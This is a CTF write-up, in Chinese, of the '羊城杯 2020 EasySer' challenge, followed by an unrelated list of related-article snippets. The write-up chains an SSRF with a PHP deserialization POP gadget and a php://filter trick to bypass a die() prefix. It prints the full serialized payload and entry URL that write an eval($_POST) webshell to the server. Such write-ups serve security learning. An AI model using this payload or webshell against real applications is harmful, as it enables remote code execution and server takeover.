[羊城杯 2020]EasySer ---不会编程的崽

embedded/2024/10/11 13:28:21/

稍微带点反序列化,稍微。

常规扫描robots.txt,给出提示star1.php。

很明显的ssrf嘛。直接读

star1.php?path=http://127.0.0.1/star1.php
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?>

 也是很简单一个pop链,主要问题还是文件上传。而且这里没有给出参数,需要我们自己爆破。反正我是没爆破成功,不知道他们这么弄得,反序列化参数是c。

1.需要绕过die,因为他会将那个php代码进行拼接,导致无法执行我们写的木马。所以要将其除  

2.为了防止我们自己的php代码被剔除,所以要进行base64编码。

string.strip_tags:这个过滤器就比较有意思,用来处理掉读入的所有标签

<?php
class GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file='';public $text='';
}$flag=new GWHT();
$flag->hero=new Yongen();
$flag->hero->file='php://filter/write=string.strip_tags|convert.base64-decode/resource=c.php';
$flag->hero->text='PD89IGV2YWwoJF9QT1NUWzFdKTs/Pg==';echo (serialize($flag));
payload:
O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:73:"php://filter/write=string.strip_tags|convert.base64-decode/resource=c.php";s:4:"text";s:32:"PD89IGV2YWwoJF9QT1NUWzFdKTs/Pg==";}}
入口:
star1.php?path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:73:"php://filter/write=string.strip_tags|convert.base64-decode/resource=c.php";s:4:"text";s:32:"PD89IGV2YWwoJF9QT1NUWzFdKTs/Pg==";}}

 我使用蚁剑连了之后,还用disable_function绕了一下(flag.php是假的)


http://www.ppmy.cn/embedded/19388.html

相关文章

Selenium一本通

Selenium中文官方文档 从一个测试脚本说起 from selenium import webdriver #引入selenium webdriver模块 driver webdriver.Firefox() #初始化Firefox浏览器的webdriver对象&#xff0c;启动浏览器 driver.get("http://cn.bing.com/") #跳转到对应页面 assert Bi…

战胜DALL·E 3和 Midjourney的开源模型来了——playground-v2.5

这是首次超越闭源AI模型的开源时刻。Playground AI 前不久宣布Playground v2.5正式开源。Playground v2.5 是美学质量方面最先进的开源模型&#xff0c;特别关注增强的颜色和对比度、改进的多纵横比生成以及改进的以人为中心的精细细节。并且在美学质量方面树立了新标准&#x…

go基础(flag、json)

go基础 基础main函数数据类型类型转换switch函数计算效率go中实现工厂模式switch flag 解析命令行参数json结构体序列化map序列化struct 反序列化 基础 main函数 package main import "log" func main() {log.Println("hello world") }cd 到 main 文件夹下…

四、搭建 FFmpeg,实战直播推流

目录 1、FFmpeg 简介 2、FFmpeg 项目组成 3、使用 ffmpeg 的方式分为两种: 5、FFmpeg 命令行 <

深入解析JVM G1 垃圾回收器

引言&#xff1a; Java 虚拟机&#xff08;JVM&#xff09;是一种广泛使用的运行时环境&#xff0c;而垃圾回收是 JVM 的核心功能之一。G1&#xff08;Garbage-First&#xff09;是一种现代化的垃圾回收器&#xff0c;从 JDK 7u4 版本开始引入&#xff0c;并逐渐成为了 Java 平…

配置网络设备的密码设置以及忘记密码的恢复方式以及实现全网互通

1.实验拓扑图&#xff1a; 2.实验需求&#xff1a; 1.推荐步骤 1.1配置IP&#xff1a; 不过多说了&#xff0c;较为基础&#xff08;略&#xff09; 2.推荐步骤 2.所有网络设备配置console接口密码 首先进入全局模式&#xff0c;输入以下代码(进入接口console接口0给其配置密…

2024 OceanBase 开发者大会:OceanBase 4.3正式发布,打造近PB级实时分析数据库

4月20日&#xff0c;2024 OceanBase开发者大会盛大召开&#xff0c;吸引了50余位业界知名的数据库专家和爱好者&#xff0c;以及来自全国各地的近600名开发者齐聚一堂。他们围绕一体化、多模、TP与AP融合等前沿技术趋势展开深入讨论&#xff0c;分享场景探索的经验和最佳实践&a…

数据结构(data structure)(2)链表的运用

桶排序 e*len/(max1) e为每个元素&#xff0c;根据上式判断该元素放入哪个桶 桶排序适用于分布均匀的数组1.arr->length,max 2.Node[]-new Node[length] 3.扫描->hash->下标->元素入桶 4.出桶<>排序排序的输出private void sort(int[] arr){int lengtharr.le…